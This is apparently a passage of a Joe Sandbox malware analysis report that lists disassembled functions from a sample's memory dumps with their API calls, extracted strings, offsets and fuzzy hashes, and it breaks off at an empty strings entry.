API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction ID: b9e00f42f3ddc4c18172ed2dc505a712a2370bb8d55e15788e86f7b8d799e1fd
Opcode Fuzzy Hash: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction Fuzzy Hash: 5C816F71A002189FEF249F24CC45B9EBBB5EF49340F1481E9E94DE72A1DB31AE858F51

Function 00991B94 Relevance: 14.2, Strings: 10, Instructions: 1657COMMON

Download Yara Rule

Strings

PA7~, xrefs: 00992831
H13, xrefs: 00991EE0
>rg, xrefs: 00992163
:z, xrefs: 009925DC
qK|i, xrefs: 009922D8
M9__, xrefs: 009923E7
xz][, xrefs: 00992C69
/'Wj, xrefs: 009928D6
P_, xrefs: 009928DC
yz][, xrefs: 00992C6E

Memory Dump Source

Source File: 00000000.00000002.2420338300.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: /'Wj$>rg$H13$M9__$PA7~$qK|i$xz][$yz][$:z$P_
API String ID: 0-1575565770
Opcode ID: 0285e12f92dd0566a0c3f865d14b54c47580c67f5afc37df77b20d7922f587c9
Instruction ID: fcbaed013b3b54a76a9009ae3eba4c826221f3d85b6ddab848dd3ce08bb3a219
Opcode Fuzzy Hash: 0285e12f92dd0566a0c3f865d14b54c47580c67f5afc37df77b20d7922f587c9
Instruction Fuzzy Hash: 73B228F3A082149FD7046E2DEC8567AFBE9EF94220F164A3DEAC4D3744EA3558058793

Function 04B551B7 Relevance: 12.9, APIs: 5, Strings: 2, Instructions: 621sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 04B60A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04B55CE6,00000000,0042C014), ref: 04B60A5E
Part of subcall function 04B60A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04B60A7D

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B55324
Sleep.KERNEL32(00000BB8,00000000,?,04B56CE8,0041D8A0,0042DB20,0042DB21), ref: 04B5553C
__Init_thread_footer.LIBCMT ref: 04B55632
Sleep.KERNEL32(000007D0), ref: 04B5599C
Sleep.KERNEL32(000007D0), ref: 04B559B6

Strings

updateSW, xrefs: 04B558C2
DFEK, xrefs: 04B555C3

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTime$EnterFileLeaveSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: DFEK$updateSW
API String ID: 3554146954-1114742100
Opcode ID: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction ID: c617746ff058f46fdfd794ad48d793e290808aaa42e9f5f038b76497f4876a59
Opcode Fuzzy Hash: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction Fuzzy Hash: E63223B1E002549BEF28DF24CC887ADFBB0EF45304F1442E9D8096B2A5DB75AA85CF55

Function 04D14350 Relevance: 10.4, APIs: 3, Strings: 2, Instructions: 1645COMMON

Download Yara Rule

APIs

Part of subcall function 04D1FBE2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D1FC16

__Init_thread_footer.LIBCMT ref: 04D144BD
__Init_thread_footer.LIBCMT ref: 04D147CB

Strings

U%, xrefs: 04D15D16
DFEK, xrefs: 04D1475C

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: DFEK$U%
API String ID: 829385169-3435397596
Opcode ID: 41cbdf90dec37eb52b954d10541310d96c062ecf6e52845e935639f857fb7cc0
Instruction ID: 69ef438ec87cdf691f7dd43d8cea8ea14e4fc7077550544f0f964fe9cd1ba39c
Opcode Fuzzy Hash: 41cbdf90dec37eb52b954d10541310d96c062ecf6e52845e935639f857fb7cc0
Instruction Fuzzy Hash: CAD24871E00114ABEB15EF24EC547EDBBB5EF44308F5441A9EC096B2A1DB34BE85CBA1

Function 0041A306 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0041A51D

Strings

1#SNAN, xrefs: 0041A412
1#QNAN, xrefs: 0041A419
1#IND, xrefs: 0041A40B
1#INF, xrefs: 0041A43C

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction ID: 71a107362d346717e648338213b5422f70619b5b18563a803cf0c70334ea4234
Opcode Fuzzy Hash: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction Fuzzy Hash: 78D22771E092288FDB65CE28DD407EAB7B5EB44314F1441EAD44DE7240E778AEC58F86

Function 00996CC0 Relevance: 9.2, Strings: 6, Instructions: 1711COMMON

Download Yara Rule

Strings

t\C#, xrefs: 0099805A
/Rw, xrefs: 00997812
Cr9{, xrefs: 00996D4F
Rw, xrefs: 00996E32
F8k], xrefs: 00997666
*B^, xrefs: 00996DA4

Memory Dump Source

Source File: 00000000.00000002.2420338300.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: *B^$/Rw$Cr9{$F8k]$Rw$t\C#
API String ID: 0-2546484318
Opcode ID: b5de0b3761cc478e1bd9a66b3d3a3609aba94e90eaa9e3beb428fda8983e5575
Instruction ID: 6a504e78885459d5e30d73c230804dfebce6a9b78ab8e435eb4f53707a81cde5
Opcode Fuzzy Hash: b5de0b3761cc478e1bd9a66b3d3a3609aba94e90eaa9e3beb428fda8983e5575
Instruction Fuzzy Hash: 27B24AF360C204AFE7046E2DEC8567AB7E9EF94320F16463DE6C4C7744EA7598018796

Function 0099371C Relevance: 9.1, Strings: 6, Instructions: 1648COMMON

Download Yara Rule

Strings

D6^, xrefs: 009940F0
VTs}, xrefs: 0099391F
8bzO, xrefs: 00993B4C
[\?N, xrefs: 00993887
:'"U, xrefs: 00994166
kkm_, xrefs: 00993F03

Memory Dump Source

Source File: 00000000.00000002.2420338300.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 8bzO$:'"U$D6^$VTs}$[\?N$kkm_
API String ID: 0-2484312214
Opcode ID: 949be66a57bb0357055ee2321ba3b2464c937fd6560c60b2cd364dd4c281aad5
Instruction ID: 2c5d9c0410ad477dbbd2950b8efe07705dd7988302de8f67478c4e4c907f2420
Opcode Fuzzy Hash: 949be66a57bb0357055ee2321ba3b2464c937fd6560c60b2cd364dd4c281aad5
Instruction Fuzzy Hash: C6B228F390C2049FE704AE2DEC8567AF7E9EF94720F16893DEAC4C3744E67598018696

Function 009A43EA Relevance: 9.1, Strings: 6, Instructions: 1592COMMON

Download Yara Rule

Strings

QAsV, xrefs: 009A4AED
Z"(_, xrefs: 009A4D76
}^U, xrefs: 009A4FB4
}, xrefs: 009A4579
0jjR, xrefs: 009A4816, 009A487F
'J_, xrefs: 009A4754

Memory Dump Source

Source File: 00000000.00000002.2420338300.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 'J_$0jjR$QAsV$Z"(_$}^U$}
API String ID: 0-987778866
Opcode ID: 0d0574620cb30939517668af2ff2a760bd97d2265d0f18ae8d4a33bf0fcc7801
Instruction ID: a840631bb3eea4df052fbaa898092c59f1f891694a4e78993f231259e7dfaf7e
Opcode Fuzzy Hash: 0d0574620cb30939517668af2ff2a760bd97d2265d0f18ae8d4a33bf0fcc7801
Instruction Fuzzy Hash: CDB206F3A0C200AFE3046E29EC8567AFBE5EF94720F1A493DE6C4C7744EA3558458697

Function 0099D90A Relevance: 7.9, Strings: 5, Instructions: 1646COMMON

Download Yara Rule

Strings

Z'H, xrefs: 0099ECE7
F(_m, xrefs: 0099E086
!W/o, xrefs: 0099DF00
{m{o, xrefs: 0099EC19
D?, xrefs: 0099DCA9

Memory Dump Source

Source File: 00000000.00000002.2420338300.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: !W/o$F(_m$Z'H${m{o$D?
API String ID: 0-2886757192
Opcode ID: cf02491c862c8f52e2d19e4d1e919ac55716f7d92a655562833ebaf8e115fe9d
Instruction ID: 193668107beba5716db48c0982c9692f43b3b5ffff0883e1ec31ccb9a522cf4e
Opcode Fuzzy Hash: cf02491c862c8f52e2d19e4d1e919ac55716f7d92a655562833ebaf8e115fe9d
Instruction Fuzzy Hash: 05B2D5F360C2049FE3046E2DEC8577AFBE9EF94720F1A892DE6C4C3744EA7558058696

Function 0040CDA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,(@), ref: 0040CE9B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,(@), ref: 0040CEA5
UnhandledExceptionFilter.KERNEL32(004024E3,?,?,?,?,?,(@), ref: 0040CEB2

Strings

(@, xrefs: 0040CDBC

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: (@
API String ID: 3906539128-3675327911
Opcode ID: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction ID: 588a31918c4d7a6a9ba75f52031696ab4f5dbddd8307c033202189b188a5c7dc
Opcode Fuzzy Hash: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction Fuzzy Hash: 5E31C475911228ABCB21DF65D8897CDBBB4AF08310F5081EAE40CA7291E7749F858F48

Function 009A0E42 Relevance: 6.6, Strings: 4, Instructions: 1638COMMON

Download Yara Rule

Strings

7w, xrefs: 009A1A3A
q+Z, xrefs: 009A10F4
ZEO,, xrefs: 009A158D
HLu, xrefs: 009A194F

Memory Dump Source

Source File: 00000000.00000002.2420338300.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 7w$HLu$ZEO,$q+Z
API String ID: 0-1629087399
Opcode ID: 18c93a7a68e55e3f13d3dea30c5da3808cbdcbddbb0c1a49764c2dae24cbc4f7
Instruction ID: 379a9ed501f61ff3432364916f4b9168044e054c2d08626f2ff17fd65ef37db6
Opcode Fuzzy Hash: 18c93a7a68e55e3f13d3dea30c5da3808cbdcbddbb0c1a49764c2dae24cbc4f7
Instruction Fuzzy Hash: EBB219F360C2049FE7046E2DEC8567ABBE9EF94720F1A493DEAC4C7740EA7558018697

Function 0098E5E6 Relevance: 6.6, Strings: 4, Instructions: 1617COMMON

Download Yara Rule

Strings

2vn, xrefs: 0098F833
^{c, xrefs: 0098F0F7
Pyo, xrefs: 0098EED6
55w, xrefs: 0098F331

Memory Dump Source

Source File: 00000000.00000002.2420338300.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 2vn$55w$Pyo$^{c
API String ID: 0-3726185411
Opcode ID: 37a309b41eed2a50ca0f06880a615f597b24b60debf2aceaa7e54315c89f1297
Instruction ID: 4d1d6b9c441fec22cb2d29b5aa95dad6bd66200f45bad30a7ec4f569cf2bf5b9
Opcode Fuzzy Hash: 37a309b41eed2a50ca0f06880a615f597b24b60debf2aceaa7e54315c89f1297
Instruction Fuzzy Hash: 55B239F360C2049FE3046E2DEC8567AFBE9EF94720F1A463DEAC4C7744EA3558058696

Function 009988C3 Relevance: 6.6, Strings: 4, Instructions: 1603COMMON

Download Yara Rule

Strings

*Xr>, xrefs: 00998B98
G{, xrefs: 00999270
n|sn, xrefs: 00998EAF
"R7, xrefs: 009996AA

Memory Dump Source

Source File: 00000000.00000002.2420338300.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: "R7$*Xr>$n|sn$G{
API String ID: 0-3911422863
Opcode ID: c9ef045d7f14096a540913f060bea6737c46297343a41f5b449b6b1978cd8cf7
Instruction ID: 48cdb09ae03d52fb829a9a406c1aab8e6ecd07d3fa45fcdb1c3c55c69cf8fb6e
Opcode Fuzzy Hash: c9ef045d7f14096a540913f060bea6737c46297343a41f5b449b6b1978cd8cf7
Instruction Fuzzy Hash: F9B2F5F3A08600AFE7046E2DEC4567AFBE9EF94720F1A892DE6C4C3754E63558018697

Function 00410900 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 1698085c936ca5c6c6a57ee88efec3ce2b030c017204745a192f91a5fd5d0df0
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 8A025C71E002199BDF14CFA9D9806EEBBF1FF48314F24826AE919E7341D775A9818B84

Function 04D1FD00 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: ef75e5bcafa573f2347dab8e8a38a2d76eb75183e3a390af3cc4ba0f52624deb
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 4A024C71E002299BDF15CFA8D9806AEFBF1FF48318F14826AD919EB350D731A941CB90

Function 04B60B67 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: f33c18db427eaeebba9e681529b6c284345b3b4ec1bbcbe4dd33270660cdf067
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: BF023D71E012199FDF14DFA9C8806AEFBB5FF48314F2486A9D91AE7380D735A941CB90

Function 0040A54A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 0040A556
IsDebuggerPresent.KERNEL32 ref: 0040A622
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040A642
UnhandledExceptionFilter.KERNEL32(?), ref: 0040A64C

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: 8b01d550a0a2fff4667565f177a0bd7aa15c2cc699040a0714bae659939ad5a8
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 40311A75D0531CDBDB10DFA5D9897CDBBB8BF08304F1080AAE409A7290EB759A858F49

Function 04B5A7B1 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 04B5A7BD
IsDebuggerPresent.KERNEL32 ref: 04B5A889
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04B5A8A9
UnhandledExceptionFilter.KERNEL32(?), ref: 04B5A8B3

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: ce7d8a990a125433c030e44fd928b2eef5c0e504062ea3d6288759401a5ebb2e
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 5131F975D0521DDBDB10DFA4D9897CCBBB8BF08304F1041EAE80DAB250EB71AA858F45

Function 04D122C0 Relevance: 5.5, Strings: 4, Instructions: 454COMMON

Download Yara Rule

Strings

P.@, xrefs: 04D124A2
0.@, xrefs: 04D12498
p.@P.@0.@, xrefs: 04D124C5
p.@, xrefs: 04D124A9

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID:
String ID: 0.@$P.@$p.@$p.@P.@0.@
API String ID: 0-3587633984
Opcode ID: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction ID: ae322d84844720afdb067d78e95b0a682a5fa32f7470049877e6fd77c53bf3cf
Opcode Fuzzy Hash: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction Fuzzy Hash: 95F1AF71B00205ABDB14DF68EC81BA9B7B1FF48304F1441A9ED09EB691D772F851CBA4

Function 0099A3E5 Relevance: 5.4, Strings: 3, Instructions: 1667COMMON

Download Yara Rule

Strings

Q^., xrefs: 0099AD3E
K^ng, xrefs: 0099B4D2
f0{;, xrefs: 0099AFD5

Memory Dump Source

Source File: 00000000.00000002.2420338300.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: K^ng$Q^.$f0{;
API String ID: 0-789738983
Opcode ID: ba98ab2511709abdc234b25e419f801de45694072b90a7992cca34eb172f5483
Instruction ID: a1dadceca9e2bf5348f5e2d4b315c70082a0788a4b9bd35f64dae8bb49467a58
Opcode Fuzzy Hash: ba98ab2511709abdc234b25e419f801de45694072b90a7992cca34eb172f5483
Instruction Fuzzy Hash: D5B208F360C2049FE704AE29EC8567AB7E9EFD4320F16893DE6C5C3744EA3598058697

Function 009A286D Relevance: 5.4, Strings: 3, Instructions: 1652COMMON

Download Yara Rule

Strings

K`?, xrefs: 009A29E9
b]f, xrefs: 009A3B7C
H?o, xrefs: 009A379F

Memory Dump Source

Source File: 00000000.00000002.2420338300.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: K`?$H?o$b]f
API String ID: 0-1591934032
Opcode ID: 58c2db5e9fa2d29fe15897d5cd8f915fb22f5e50083171564f12e4829bc139a0
Instruction ID: 9dde696a8c18aafd7071167f8370de6f6304dfd4bb6dd13c568eff466fd7559b
Opcode Fuzzy Hash: 58c2db5e9fa2d29fe15897d5cd8f915fb22f5e50083171564f12e4829bc139a0
Instruction Fuzzy Hash: F5B228F360C2049FE7046E2DEC8567ABBE9EF94720F1A893DE6C4C7344E93598058693

Function 04B5D00A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,04B52A70), ref: 04B5D102
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,04B52A70), ref: 04B5D10C
UnhandledExceptionFilter.KERNEL32(04B5274A,?,?,?,?,?,04B52A70), ref: 04B5D119

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction ID: 3eb19bbb1e8743bae8607edd19f79446217a1b1db28049f22dd681906eab74b4
Opcode Fuzzy Hash: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction Fuzzy Hash: 3431A87490122D9BCB21DF64DC887CDBBB8BF18310F5041EAE81CA7260E7709B858F45

Function 10005F25 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F47
TerminateProcess.KERNEL32(00000000,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F4E
ExitProcess.KERNEL32 ref: 10005F60

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction ID: 146749da7bea6e31057676a24497a7e39fcb2650f4e844f2ac51073fb5c6c599
Opcode Fuzzy Hash: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction Fuzzy Hash: 02E08631404589EFEF069F10CD4CA993B69FB442C2B008024F50D8A135CB7AEDD1CB41

Function 04B5092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 04B509DC, 04B509DF, 04B509E4
l, xrefs: 04B50966
., xrefs: 04B5095F

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 4de6485bf74011bf796b56fbb2e865805ccd799282971c35517f1f1da47f014d
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 5E3128B6900609DFEB10DF99C880BAEFBF5FF48324F15408AD941A7264D771EA45CBA4

Function 004107E2 Relevance: 3.0, APIs: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,A91FB584), ref: 004107F7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction ID: 9ffaf8f16d1feaf21b4895ba9d91ffe558ea63f081936d9fadb7ea4d2284f30e
Opcode Fuzzy Hash: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction Fuzzy Hash: C2F0F4B5A002147F8724EF6EC8049DFBEE9EBC5370725826AE809D3340D9B4DD82C2D4

Function 04D29706 Relevance: 3.0, APIs: 1, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 04D2991D

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 33b49f04a218de2c7083f10be8a0aa68633273c3dfcf1cc45880ee3ed5084c1c
Instruction ID: 3ceea35eced182c23791b50b318f8faa5b67be307407db1b8b3b7a5bbf213304
Opcode Fuzzy Hash: 33b49f04a218de2c7083f10be8a0aa68633273c3dfcf1cc45880ee3ed5084c1c
Instruction Fuzzy Hash: 6FD21771E082298FDB65CE28DE807EAB7B5FB54319F1441EAD44DE7240E778AE818F41

Function 0040EEC9 Relevance: 2.8, Strings: 2, Instructions: 333COMMON

Download Yara Rule

Strings

0Z@, xrefs: 0040F0D1, 0040F0D7
Z@, xrefs: 0040F165, 0040F187, 0040F16B, 0040F194

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0Z@$Z@
API String ID: 0-605451032
Opcode ID: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
Instruction ID: c2704d3dc0eafd102a63da391050ffa25cdd35e93d0e938198e091b07b9d6d51
Opcode Fuzzy Hash: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
Instruction Fuzzy Hash: 7AC1DE709006079ECB34CE69C584A7BBBB1AB45304F184A3FD452BBBD2C339AC59CB59

Function 0040EB87 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

H@, xrefs: 0040EEAB, 0040EE4D, 0040EDEF, 0040ED70
0, xrefs: 0040ED0B

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0$H@
API String ID: 0-2786613154
Opcode ID: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction ID: 4a3fd9315a5abbba8fc5c956050257a45ee5a7b78c0dcd4935651e2db0378757
Opcode Fuzzy Hash: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction Fuzzy Hash: 9CB1E57090460B8BDB24CE6AC555ABFB7A1AF05304F140E3FD592B77C1C739A926CB89

Function 008BA480 Relevance: 2.7, Strings: 2, Instructions: 174COMMON

Download Yara Rule

Strings

